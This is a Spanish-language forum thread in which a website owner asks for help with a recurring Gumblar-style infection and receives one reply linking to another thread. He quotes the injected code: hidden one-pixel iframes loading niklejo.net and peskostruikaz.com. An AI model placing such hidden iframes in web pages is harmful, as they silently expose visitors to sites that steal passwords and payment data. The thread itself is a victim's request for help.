troyano o virus en mi web!

[sienteasturias]

Hola gente lleov unos dias en los que la gente me esta avisando de que en la web hay un virus o troyano y que yo mismo he comprobado con mi antivirus kaspersky y que el aviso dice lo siguiente:

Application Firefox contains link to web page //gumblar.cn/rss/?id=, used to steal passwords, credit card numbers or other confidential data. Denied!

y esto me sale al intentar acceder a diferentes secciones de la web, con lo cual ya en varias ocasiones he sobreescrito los archivos subiendo nuevamente por ftp, pero al rato vuelve a estar igual.

Lo que hace es colocar parte de código dentro de un iframe especialmente en archivos index, y al parecer tanto en php como en html puesto que asi los he encontrado

esto es por ejemplo algunos de esos códigos que he encontrado en alguno de los archivos.

Código:

<iframe src="xxxxxxxxxxxxxxxxx" width=2 height=4 style="visibility: hidden"></iframe><iframe src="niklejo.net/?click=56A267" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="peskostruikaz.com/?click=A43BF2" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

A ver si me pueden ayudar por que ya estoy un poco desesperado con el tema!

[jANvALjAN]

aqui creo q encontraras la solucion!

suerte

forosdelweb.com/f91/codigo-malicioso-dentro-pagina-web-con-codificacion-unescape-javascript-inyeccion-696904/#post2907404